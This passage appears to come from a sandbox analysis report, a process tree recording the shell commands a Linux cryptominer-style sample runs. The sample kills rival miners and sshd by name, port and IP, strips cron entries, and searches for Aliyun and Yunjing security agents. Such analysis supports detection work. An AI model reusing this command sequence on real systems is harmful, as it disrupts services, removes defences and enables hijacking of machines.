  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1395
- /bin/grep
  grep exe
  2⤵
  PID:1398
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1397
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1400
- /bin/grep
  grep exe
  2⤵
  PID:1403
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1402
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1405
- /bin/grep
  grep exe
  2⤵
  PID:1408
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1407
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1410
- /bin/grep
  grep exe
  2⤵
  PID:1413
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1412
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1415
- /bin/grep
  grep /dot
  2⤵
  PID:1417
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1416
- /bin/grep
  grep -v grep
  2⤵
  PID:1418
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1420
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  PID:1421
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1425
- /bin/grep
  grep -v grep
  2⤵
  PID:1424
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1426
- /bin/grep
  grep tracepath
  2⤵
  PID:1423
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1422
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads runtime system information
  PID:1427
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1432
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1431
- /bin/grep
  grep -v grep
  2⤵
  PID:1430
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1428
- /bin/grep
  grep ./ll1
  2⤵
  PID:1429
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1434
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1433
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1436
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1435
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1441
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1440
- /bin/grep
  grep -v grep
  2⤵
  PID:1439
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1438
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1437
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1446
- /bin/grep
  grep -v grep
  2⤵
  PID:1444
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1443
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1445
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1442
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1451
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1450
- /bin/grep
  grep -v grep
  2⤵
  PID:1449
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1448
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1447
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1455
- /bin/grep
  grep -v grep
  2⤵
  PID:1454
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1456
- /bin/grep
  grep perfctl
  2⤵
  PID:1453
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1452
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1460
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1461
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1458
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1459
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1466
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1465
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1467
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1464
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1473
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1471
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1470
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1469
- /bin/grep
  grep -v -
  2⤵
  PID:1472
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1480
- /bin/grep
  grep -v -
  2⤵
  PID:1479
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1477
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1476
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1478
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1486
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1484
- /bin/grep
  grep -v -
  2⤵
  PID:1485
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1482
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1492
- /bin/grep
  grep -v -
  2⤵
  PID:1491
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1489
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1488
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1490
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1493
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1498
- /bin/grep
  grep -v grep
  2⤵
  PID:1496
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1497
- /bin/grep
  grep agetty
  2⤵
  PID:1495
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1494
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:1499
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1501
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1500
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1502
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1505
- /bin/sed
  sed /base64/d
  2⤵
  PID:1504
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1503
- /bin/sed
  sed /python/d
  2⤵
  PID:1507
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1508
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1506
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1511
- /bin/sed
  sed /shm/d
  2⤵
  PID:1510
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1509
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1517
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1516
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1515
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1520
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1519
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1518
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1523
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1522
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1521
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1526
- /bin/sed
  sed /linux/d
  2⤵
  PID:1525
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1524
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1529
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1528
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1527
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1532
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1531
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1530
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1534
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1535
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1533
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1537
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1536
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1538
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1541
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1539
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1540
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads runtime system information
  PID:1542
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  PID:1543
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  PID:1546
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:1547
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1548
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1549
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1550
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1554
- /bin/grep
  grep -v -
  2⤵
  PID:1555
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1553
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1556
- /bin/grep
  grep :1414
  2⤵
  PID:1552
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1562
- /bin/grep
  grep -v -
  2⤵
  PID:1561
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1560
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1558
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1559
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1568
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1566
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1565
- /bin/grep
  grep :143
  2⤵
  PID:1564
- /bin/grep
  grep -v -
  2⤵
  PID:1567
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1574
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1572
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1571
- /bin/grep
  grep -v -
  2⤵
  PID:1573
- /bin/grep
  grep :2222
  2⤵
  PID:1570
- /bin/grep
  grep -v -
  2⤵
  PID:1579
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1578
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1577
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1580
- /bin/grep
  grep :3333
  2⤵
  PID:1576
- /bin/grep
  grep -v -
  2⤵
  PID:1585
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1586
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1583
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1584
- /bin/grep
  grep :3389
  2⤵
  PID:1582
- /bin/grep
  grep -v -
  2⤵
  PID:1591
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1590
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1589
- /bin/grep
  grep :4444
  2⤵
  PID:1588
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1592
- /bin/grep
  grep -v -
  2⤵
  PID:1597
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1596
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1595
- /bin/grep
  grep :5555
  2⤵
  PID:1594
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1598
- /bin/grep
  grep -v -
  2⤵
  PID:1603
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1602
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1601
- /bin/grep
  grep :6666
  2⤵
  PID:1600
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1604
- /bin/grep
  grep -v -
  2⤵
  PID:1609
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1608
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1610
- /bin/grep
  grep :6665
  2⤵
  PID:1606
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1607
- /bin/grep
  grep -v -
  2⤵
  PID:1615
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1613
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1616
- /bin/grep
  grep :6667
  2⤵
  PID:1612
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1614
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1620
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1622
- /bin/grep
  grep :7777
  2⤵
  PID:1618
- /bin/grep
  grep -v -
  2⤵
  PID:1621
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1619
- /bin/grep
  grep -v -
  2⤵
  PID:1627
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1628
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1625
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1626
- /bin/grep
  grep :8444
  2⤵
  PID:1624
- /bin/grep
  grep -v -
  2⤵
  PID:1633
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1634
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1632
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1631
- /bin/grep
  grep :3347
  2⤵
  PID:1630
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1640
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1638
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1637
- /bin/grep
  grep -v -
  2⤵
  PID:1639
- /bin/grep
  grep :14444
  2⤵
  PID:1636
- /bin/grep
  grep :14433
  2⤵
  PID:1642
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1644
- /bin/grep
  grep -v -
  2⤵
  PID:1645
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1643
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1646
- /bin/grep
  grep -v -
  2⤵
  PID:1651
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  - Reads runtime system information
  PID:1652
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1649
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1650
- /bin/grep
  grep :13531
  2⤵
  PID:1648
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1653
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1655
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1654
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  PID:1656
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1658
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1657
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1659
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1661
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1660
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1662
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1664
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1663
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Attempts to change immutable files
  PID:1665
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1667
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1666
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  PID:1668
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1670
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1669
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1671
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1672
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1673
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1674
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1676
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1675
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Attempts to change immutable files
  PID:1677
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1679
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1678
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1680
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1682
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1681
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1683
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1684
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1685
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Attempts to change immutable files
  PID:1686
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1688
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1687
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads runtime system information
  PID:1689
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  PID:1690
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1691
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:1692
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads runtime system information
  PID:1693
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  PID:1694
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  PID:1695
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  PID:1696
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1697
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  PID:1698
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1699
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:1700
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads runtime system information
  PID:1701
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  PID:1702
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  PID:1703
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads runtime system information
  PID:1704
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1705
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1706
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads runtime system information
  PID:1707
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:1708
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:1709
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  PID:1710
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1711
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1712
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:1713
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1714
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1715
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:1716
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1717
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:1718
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads runtime system information
  PID:1719
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  PID:1720
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  PID:1721
- /bin/grep
  grep -v grep
  2⤵
  PID:1724
- /bin/grep
  grep ./udp
  2⤵
  PID:1723
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1725
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1726
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1722
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1730
- /bin/grep
  grep -v grep
  2⤵
  PID:1729
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1731
- /bin/grep
  grep ./oka
  2⤵
  PID:1728
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1727
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1736
- /bin/grep
  grep -v grep
  2⤵
  PID:1734
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1733
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1732
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1735
- /bin/grep
  grep -v "("
  2⤵
  PID:1743
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1745
- /bin/grep
  grep -v bin
  2⤵
  PID:1741
- /bin/grep
  grep -v postgres
  2⤵
  PID:1746
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1740
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1742
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1747
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1748
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1749
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1744
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:1739
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1750
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1756
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1754
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1757
- /bin/grep
  grep -v postgres
  2⤵
  PID:1758
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1752
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1759
- /bin/grep
  grep -v "("
  2⤵
  PID:1755
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1760
- /bin/grep
  grep -v bin
  2⤵
  PID:1753
- /bin/ps
